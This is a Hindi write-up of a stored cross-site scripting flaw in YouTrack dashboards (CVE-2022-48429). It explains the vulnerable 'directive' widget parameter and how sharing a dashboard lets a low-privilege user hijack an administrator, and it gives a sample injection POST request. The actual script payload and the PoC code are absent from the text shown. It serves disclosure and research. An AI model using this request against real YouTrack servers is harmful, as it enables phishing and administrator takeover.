
CVE-2022-48429 के लिए PoC - Youtrack stored XSS
NVD डेटाबेस पर CVE का रिपोर्ट किया गया विवरण सटीक नहीं है। यह अधिक सटीक विवरण है:
Youtrack (संस्करण <= 2022.3.65373) में डैशबोर्ड में एक संग्रहित क्रॉस-साइट स्क्रिप्टिंग (XSS) है। एक दुर्भावनापूर्ण निम्न-विशेषाधिकार वाला उपयोगकर्ता एक दोषपूर्ण डैशबोर्ड बना सकता है और उसे अन्य उपयोगकर्ताओं (जैसे प्रशासकों) को भेज सकता है। इससे प्रशासक का अधिग्रहण हो सकता है।
मूल लेखक: echo-devim
Youtrack संस्करण 2022.3.65373 में सुरक्षा मुद्दों पर शोध करते समय मुझे डैशबोर्ड पर एक XSS मिला।
गैर-विशेषाधिकार प्राप्त उपयोगकर्ता इंजेक्टेड जावास्क्रिप्ट वाले दुर्भावनापूर्ण विजेट के साथ एक नया डैशबोर्ड बना सकता है। डैशबोर्ड को अन्य उपयोगकर्ताओं, जैसे प्रशासकों, को दुर्भावनापूर्ण कोड भेजकर साझा किया जा सकता है।
यह XSS केवल निर्दिष्ट उपयोगकर्ताओं को लक्षित कर सकता है और पीड़ित को दुर्भावनापूर्ण डैशबोर्ड खोलने के लिए धोखा देना वास्तव में आसान है। वास्तव में, नया डैशबोर्ड पीड़ित के होमपेज पर सूचित किया जाएगा। मैंने देखा कि यह भेद्यता संस्करण 2021.4.38425 से मौजूद है, लेकिन यह उससे पुरानी भी हो सकती है।
जब उपयोगकर्ता एक नया विजेट जोड़ता है तो कमजोर पैरामीटर "directive" है।
XSS को इंजेक्ट करने के लिए दुर्भावनापूर्ण अनुरोध का उदाहरण:
POST /hub/api/rest/dashboards/39ecb0a3-4bb5-45de-9616-9945fd284886 HTTP/1.1
Host: localhost:8081
User-Agent: Mozilla/5.0 (X11; Windows x86_64; rv:105.0) Gecko/20100101 Firefox/105.0
Content-Type: application/json;charset=utf-8
Content-Length: 1214
{"type":"DashboardJSON","id":"39ecb0a3-4bb5-45de-9616-9945fd284886","name":"testxss","owner":{"type":"user","id":"58a24bf5-53ad-4966-9b5d-63cb8dbfef0a","login":"test"},"data":{"widgets":[{"id":"youtrack-activities-widget","directive":"","grid":{"width":2,"height":2,"y":0,"x":0},"config":{"created":"2023-03-17T10:04:50.590Z","customWidgetConfig":{"filter":{"title":null,"query":"by: me","author":null,"categoriesIds":["IssueCreatedCategory","ProjectCategory","SummaryCategory","DescriptionCategory","CustomFieldCategory","AttachmentsCategory","LinksCategory","CommentsCategory"],"youTrack":{"id":"731f4f21-b0f9-42bd-9509-127b2d0585e1","homeUrl":"/"},"refreshPeriod":240}}}}]},"permission":"OWNER","access":"OWNER","favorite":true,"ordinal":0,"permissions":[{"type":"UserDashboardPermissionJSON","id":"42e794d7-0009-4b00-83f4-45991a0392f0","permission":"VIEW","user":{"type":"user","id":"fcbf85ca-4ea9-4b2e-b750-59b08df9c24a"},"personality":{"type":"user","id":"fcbf85ca-4ea9-4b2e-b750-59b08df9c24a","name":"admin","login":"admin","profile":{"avatar":{"type":"defaultavatar","url":"http://localhost:8081/hub/api/rest/avatar/fcbf85ca-4ea9-4b2e-b750-59b08df9c24a"}}}}]}
फिर, पृष्ठ को ताज़ा करने पर हमें XSS मिलेगा:

यह XSS निम्न-विशेषाधिकार वाले उपयोगकर्ता को नकली लॉगिन फॉर्म के माध्यम से फ़िशिंग करने, उपयोगकर्ता के ब्राउज़र को पुनर्निर्देशित करने या यहां तक कि प्रशासनिक कार्य करने की अनुमति दे सकता है।
इससे भी बुरा यदि प्लेटफ़ॉर्म में उपयोगकर्ता पंजीकरण सक्षम है, तो यह एक बाहरी हमलावर को एक नया उपयोगकर्ता पंजीकृत करने और हमला करने की अनुमति दे सकता है।
PoC के रूप में मैंने प्रशासक खाते का पूरा नाम बदलने के लिए एक निम्न-विशेषाधिकार वाले परीक्षण उपयोगकर्ता का उपयोग किया।
PoC का कोड:
यह एनिमेटेड gif प्रभाव दिखाता है। बायां विंडो गैर-विशेषाधिकार प्राप्त उपयोगकर्ता से संबंधित पृष्ठ है और दायां विंडो प्रशासक है।
